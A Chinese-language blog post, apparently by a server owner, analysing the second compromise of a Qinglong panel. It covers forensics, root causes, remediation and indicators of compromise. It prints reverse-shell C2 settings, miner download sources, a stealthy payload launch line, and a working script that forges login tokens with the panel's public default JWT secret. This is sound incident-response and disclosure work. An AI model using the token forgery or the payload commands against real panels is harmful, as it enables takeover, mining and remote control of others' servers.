一、前情提要

上篇《我的青龙面板被黑了半年》记录了第一轮攻防:境外黑产从 2026 年 4 月起持续成功登录面板 43 次,在容器内踩点、留下一分钟一次的探测任务,我做了「标准处置」——改密码、清令牌、删任务、禁 SSH 密码登录。

三天后,通知又响了。

这一轮我找到了三个真正的根因(其中两个是我上篇处置时亲手漏掉的),并把处置从「重启容器」升级为「重建容器 + 升级镜像 + 全面轮换」。文末有可复用的验证脚本和 IOC。

TL;DR

项目 结果
第二次入侵 2026-10-06 晚,摩洛哥 IP 成功登录,面板被改名改密
载荷投递 这次成功了——容器 /tmp 里挖出 29 个样本,从挖矿木马到反向 Shell
三个根因 ① 容器只重启未重建,后门一直在 ② JWT 用公开默认密钥可伪造令牌 ③ 密码明文存库可被容器 root 读取
处置 容器重建 + 镜像升级 2.20.0→2.22.0 + 密码/JWT密钥/应用密钥全部轮换
验证 伪造令牌、旧密码、旧应用密钥全部实测被拒

脱敏说明:服务器 IP 与面板账号已打码;攻击者 IOC 保留完整。


二、三天后:通知又响了

第一轮处置完(10-03 晚),我以为事情结束了。10-06 深夜,通知推送准时把我叫醒——「国外 IP 登录成功」,IP 归属摩洛哥。

登录服务器查证,情况比上篇更糟:

时间(CST) 动作
23:28 / 23:42 通过面板 API 三次 wget 下载载荷(全部成功)
23:42:45 摩洛哥 IP 105.156.223.207 登录成功
23:42:47 创建探测任务 ql-osprobe-349f66(echo %OS%,似曾相识的手法)
23:42:50 创建任务 ql-rce-e99ef5,下载 https://612f0152.lazyrabbit.pages.dev/redirectrev
23:57 其中一条命令历时 902 秒后结束

更刺眼的是面板账号本身:用户名被改成 admin、密码被改成 Ql@Pwn2026!——Pwn 是「已攻占」的宣言。改密码的意思很明确:把你锁在门外,让你没法登录清理。


三、docker diff:后门原来一直活着

上次排查时我把数据目录翻了个底朝天,唯独没查容器自己的文件系统。这次第一时间执行:

1
docker diff <容器名>

输出里混着一批「不该存在」的文件:

1
2
3
4
5
6
7
A /bin/softirq                      ← 伪装成内核线程名
A /usr/local/bin/watcher ← "监视器"
A /var/tmp/.rsyslogd ← 伪装成日志服务的隐藏文件
A /var/lib/.sysconf_id ← 内容: 6k5e(运行时实例ID)
A /usr_6k5e/lib/dev/systemdev ← 随机名目录,和实例ID同源
A /lib/systemd/cache/asset-indexer ← 伪造 systemd 缓存路径
A /lib/systemd/cache/health-monitor

这些文件落地时间是 8 月 21 日 / 9 月 6 日——第一轮入侵期间就被放进去了,而且全部是空目录或空壳(真正的载荷始终没下载成功,对方先搭好了脚手架)。

为什么上次没清掉? 因为容器有两个「层」:

  • docker restart —— 只重启进程,可写层原封不动,后门文件原地待命(我上次做的就是这个);
  • docker rm + 重新创建(docker compose up --force-recreate)—— 可写层直接摧毁重建,后门才会消失。

这就是「改了密码他还是能回来」的第一块拼图:对方在容器里留了后手,而我的处置只动了水面上的部分。

教训:容器被入侵后,唯一的可靠处置是 recreate,不是 restart;docker diff 是排查容器入侵的第一神器,一条命令列出自镜像以来所有改动。


四、/tmp 里的 29 个样本:从挖矿木马到反向 Shell

上篇我说过一句话:「五次载荷投递失败,纯属运气。」这一轮,运气用完了。

容器 /tmp 里积累着 29 个 .dl_* 下载样本(8 个不同哈希版本),时间跨度从 8 月 21 日到 10 月 6 日,其中 10-06 当晚就有 4 个。所有样本都可执行(rwxr-xr-x),文件名统一是 .dl_<PID> 格式——下载器模板留下的指纹。

4.1 八月的版本:XMRig 挖矿木马

最早一批(8 月)是 base64 混淆的 shell 脚本,解码后是教科书式的门罗币挖矿投递器:

1
2
3
4
5
6
7
# 下载源(多镜像互备)
https://178.105.20.131/safe # 主下载源
https://gitee.com/albertotrindade131_png/xmrig # Gitee 镜像
https://gitlab.com/api/v4/projects/54314161/... # GitLab 包仓库
https://ghfast.top/?q=github.com/... # GitHub 加速代理
# 矿池
xmrig.kryptex.network:8029 # Kryptex 矿池

对方很懂「因地制宜」:Gitee、GitLab、GitHub 加速镜像三路互备,专治国内网络的下载问题。

4.2 十月的版本:反向 Shell 后门

昨晚新下载的版本摇身一变,不再是矿工,而是可交互控制的后门(脚本内标签 TAG=corecheck):

1
2
3
LHOST="${LHOST:-172.86.86.60}"    # C2 服务器
LPORT="${LPORT:-8443}" # 明文回连端口
TLS_PORT="${TLS_PORT:-41669}" # TLS 回连端口

脚本内置六种回连实现,按环境可用性依次尝试:Python pty、Perl Socket、nc/ncat/socat、awk UDP、bash /dev/tcp(每种都带失败回退和 fifo 中继),还有 already_connected 去重检查避免重复上线。最后以 sh $T QQ1509 调用——QQ1509 是对方的行动/租户标识。

从「挖矿变现」升级到「可交互控制」,意味着对方准备把机器当长期据点用。

4.3 一个坑:日志空白 ≠ 无事发生

这些任务在面板日志里几乎看不到输出——因为命令结尾是:

1
sh $T QQ1509 </dev/null >/dev/null 2>&1 &

标准输出和错误全部丢弃、后台执行。上篇的攻击者下载失败时还能从 curl: (6) Could not resolve host 看到痕迹,这一轮的日志是干净的——要不是我去翻了 /tmp,几乎会以为「什么都没发生」。

教训:排查恶意执行,不要只读应用日志;看文件系统(/tmp、/dev/shm、/var/tmp),看进程,看网络连接。


五、根因剖析:三个漏洞叠在一起

5.1 致命环节:JWT 用了公开的默认密钥

青龙的认证用 JWT,签名密钥的取值逻辑(镜像内源码 back/config/index.ts):

1
secret: process.env.JWT_SECRET || 'whyour-secret',

环境变量不设置时,退回硬编码默认值 'whyour-secret'——这是开源仓库里的公开常量。而我的 docker-compose 从来没设过 JWT_SECRET。

这意味着什么?任何人不需要知道密码,用这个公开密钥手工签一个 JWT,就能构造出「合法」的登录令牌。

有人会问:面板不是还有会话管理、可以「踢出登录」吗?看中间件的两层校验:

1
2
3
4
5
6
// 第一层:验签名(无状态)
expressjwt({ secret: config.jwt.secret, algorithms: ['HS384'] })

// 第二层:验令牌是否在数据库的会话列表中
const authInfo = await shareStore.getAuthInfo();
if (isValidToken(authInfo, headerToken, req.platform)) return next();

两层看起来完备,但对方有容器 root——第二层要的「会话列表」,他可以自己往数据库里写。用一个必输的场景推演:默认密钥签令牌 → 直写数据库把令牌塞进会话列表 → 一个「完全合法」的会话就诞生了,登录日志里不会留下任何记录。

这也完美解释了两件事:为什么他在我清空会话列表之后还能操作;为什么他改完密码还要自己再登录一次(保持一个「正常」会话做掩护)。

5.2 密码明文存储

青龙 2.20.0 把面板密码以明文存在 keyv.sqlite 里。容器 root 读一下数据库文件就能拿到我三天前刚设置的新密码——密码轮换在这种存储方式面前毫无意义。

这个缺陷在 2.22.0 里被官方修掉(下文验证)。

5.3 OpenAPI 应用密钥

面板里有一个部署平台创建的 OpenAPI 应用(scope 含 crons、system)。密钥在面板 UI 里明文可读——对方有数月面板访问权限,这份密钥大概率也早已被复制。拿着它可以直接调 OpenAPI 创建/运行任务,等于另一条 RCE 通道,且不受「面板密码」约束。

5.4 回看上篇:我处置时踩的三个坑

诚实复盘,上篇的处置有三处错误:

  1. 只 restart 未 recreate → 容器可写层的后门全部存活(第三节);
  2. 没查/没设 JWT_SECRET → 改密码挡不住伪造令牌(5.1);
  3. 以为「清空 tokens = 吊销会话」 → 对一个能直写数据库、能伪造令牌的对手,这层防线形同虚设。

结论:上一轮我治的是症状,这一轮才治了病。


六、处置:从「重启」升级为「重建」

这轮的处置原则只有一条:假设容器内的一切都不可信,全部换新;假设所有凭据都已泄露,全部轮换。

  1. 切断:docker stop —— 对方的会话立即失效;
  2. 取证:docker cp 出 /tmp 全部样本、pm2 日志、两个数据库、docker diff 输出,归档到独立目录(这步必须在新容器创建之前做,重建后证据即销毁);
  3. 重建:docker compose up -d --force-recreate —— 干净文件系统,后门归零;
  4. 补上致命一环,给 docker-compose.yml 增加:
1
2
3
environment:
QlBaseUrl: '/'
JWT_SECRET: '<64位随机十六进制>'
  1. 全面轮换:面板密码 + JWT_SECRET + OpenAPI client_secret,并清空面板会话列表与 OpenAPI 令牌;用户名一并复位;
  2. 镜像升级:whyour/qinglong 2.20.0(2025-12-10)→ 2.22.0(2026-09-27),补上十个月的安全修复。

升级不是可有可无的动作。2.22.0 更新日志里白纸黑字写着:

10. 加固密码存储、JWT 与两步验证、文件访问和旧文件接口
4. 新增客户端 IP 与代理链诊断、可信代理设置和登录 IP 黑名单

升级完成后我验证了一件有意思的事——再读数据库,密码字段已经从明文变成了哈希:

1
scrypt$b828e2de...$d51e0ff9...

官方在 2.22.0 里把密码存储迁移到了 scrypt 哈希(所以更新日志第 16 条提醒「密码迁移后回退旧版需恢复升级前数据」)。如果早三个月升级,他根本读不到我的密码——这是整件事里最接近「如果当时……」的一个细节。


七、验证:用伪造令牌打自己的面板

处置完不能靠「感觉安全」,要动手打自己。用 Python 手工构造 HS384 JWT:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hmac, hashlib, base64, json, time, subprocess

def b64(b): return base64.urlsafe_b64encode(b).rstrip(b'=')

def forge(secret):
h = b64(json.dumps({"alg": "HS384", "typ": "JWT"}).encode())
p = b64(json.dumps({"data": "t", "iat": int(time.time()),
"exp": int(time.time()) + 3600}).encode())
return (h + b'.' + p + b'.' +
b64(hmac.new(secret.encode(), h + b'.' + p, hashlib.sha384).digest())).decode()

for label, secret in [("旧默认密钥", "whyour-secret"), ("新随机密钥", NEW_SECRET)]:
r = subprocess.run(["curl", "-s", "-H", "Authorization: Bearer " + forge(secret),
"http://127.0.0.1:15700/api/user"], stdout=subprocess.PIPE)
print(label, "->", r.stdout.decode()[:100])

结果矩阵(全部实测):

攻击向量 结果 含义
新密码登录 200 OK 我进得去
对方密码 Ql@Pwn2026! 400 拒绝 他进不去
旧默认密钥伪造令牌 401 invalid signature 第一层签名就拒绝(修复前会通过)
新密钥伪造令牌 401(会话列表校验拒绝) 第二层兜底仍在
OpenAPI 旧应用密钥 400 Invalid client_id or client_secret 已轮换生效
容器内后门/载荷残留 0 重建干净
任务数 / 计划任务 0 / 空 无持久化

顺带一个实用的排查技巧:两层校验的错误信息不同——invalid signature 说明卡在签名层(密钥不对);jwt malformed / Token expired 说明签名过了、卡在会话列表层(令牌不在册)。看响应就能定位伪造尝试打到了哪一层。


八、教训清单(升级版)

  1. 容器被入侵后必须 recreate,不是 restart。docker diff 列出自镜像以来的全部改动,是容器取证第一条命令;/tmp、/dev/shm、/var/tmp 是载荷最爱落地的三个位置;
  2. 开源面板先查默认密钥。青龙的 JWT_SECRET 不设置就用公开默认值——改密码、清会话都挡不住伪造令牌。同类产品有一个查一个;
  3. 「改密码」永远不等于「清访问」。真正的吊销 = 换签名密钥(JWT_SECRET)+ 轮换所有 API/应用密钥 + 重建容器;
  4. 旧版青龙密码明文存库——只要没升级到 2.22+,就将面板数据库视为绝密文件,任何容器内代码可读即泄露;
  5. 端口暴露是原罪。做到安全组白名单,或改绑 127.0.0.1 用 SSH 隧道访问:
    1
    ssh -N -L 15700:127.0.0.1:15700 root@<服务器>   # 浏览器访问 http://127.0.0.1:15700
  6. 别被空日志骗了。攻击者会把输出重定向到 /dev/null 再后台执行——日志干净时,去查文件系统和进程;
  7. 镜像版本就是安全水位。落后十个月 = 十个月补丁缺席;定期 docker pull + recreate;
  8. 升级后顺手开 两步验证(2.22 还新增了登录 IP 黑名单)。

九、IOC 更新(第二轮)

类型 值
C2(反向 Shell) 172.86.86.60:8443(TLS 端口 41669)
挂马域名 612f0152.lazyrabbit.pages.dev(Cloudflare Pages 滥用)
挖矿载荷源 178.105.20.131/safe
矿池 xmr.kryptex.network:8029(Kryptex)
挖矿二进制镜像 gitee.com/albertotrindade131_png/xmrig、gitlab.com/api/v4/projects/54314161/...、ghfast.top 代理
后门文件特征 /bin/softirq、/usr/local/bin/watcher、/var/tmp/.rsyslogd、/var/lib/.sysconf_id(内容为实例 ID)、/usr_<ID>/、/lib/systemd/cache/{asset-indexer,health-monitor}
任务名特征 ql-osprobe-*、ql-rce-*、命令 echo %OS%
行动标识 脚本内 TAG=corecheck;调用参数 QQ1509
攻击 IP(本轮) 105.156.223.207(摩洛哥,登录成功)
样本 MD5 24e45645045eedd9d9bc30697ab173df、2b62ebd54f2345aed795cf1eb62df9c4、5f44f2725089395ff597cf108f086a80、0e4f2e687c9dd60e3e3a47211f05ac41、e37878310c7c64dfb771219344e4e6af、44d1f216b62ffdb3b8efb0e10f5bbada、a580984c06e5522403b42afcba6bbb39、098ac84443fd90e8a7542b6c2a41f9b7

十、参考资料

  1. 青龙面板 2.22.0 更新日志(密码存储 / JWT 加固、登录 IP 黑名单)
  2. whyour/qinglong — 青龙面板官方仓库(默认密钥源码位于 back/src/config/index.ts)
  3. docker diff — 容器文件系统改动排查命令
  4. 上篇:我的青龙面板被黑了半年 —— 青龙面板攻防复盘(上)
  5. 青龙面板遭挖矿木马植入高危攻击事件(.fullgc)
  6. naixi 论坛:快去检查你的青龙面板,可能中挖矿木马了
  7. Cloudflare 滥用举报(pages.dev 等免费托管被用于挂马)
  8. FOFA 网络空间测绘引擎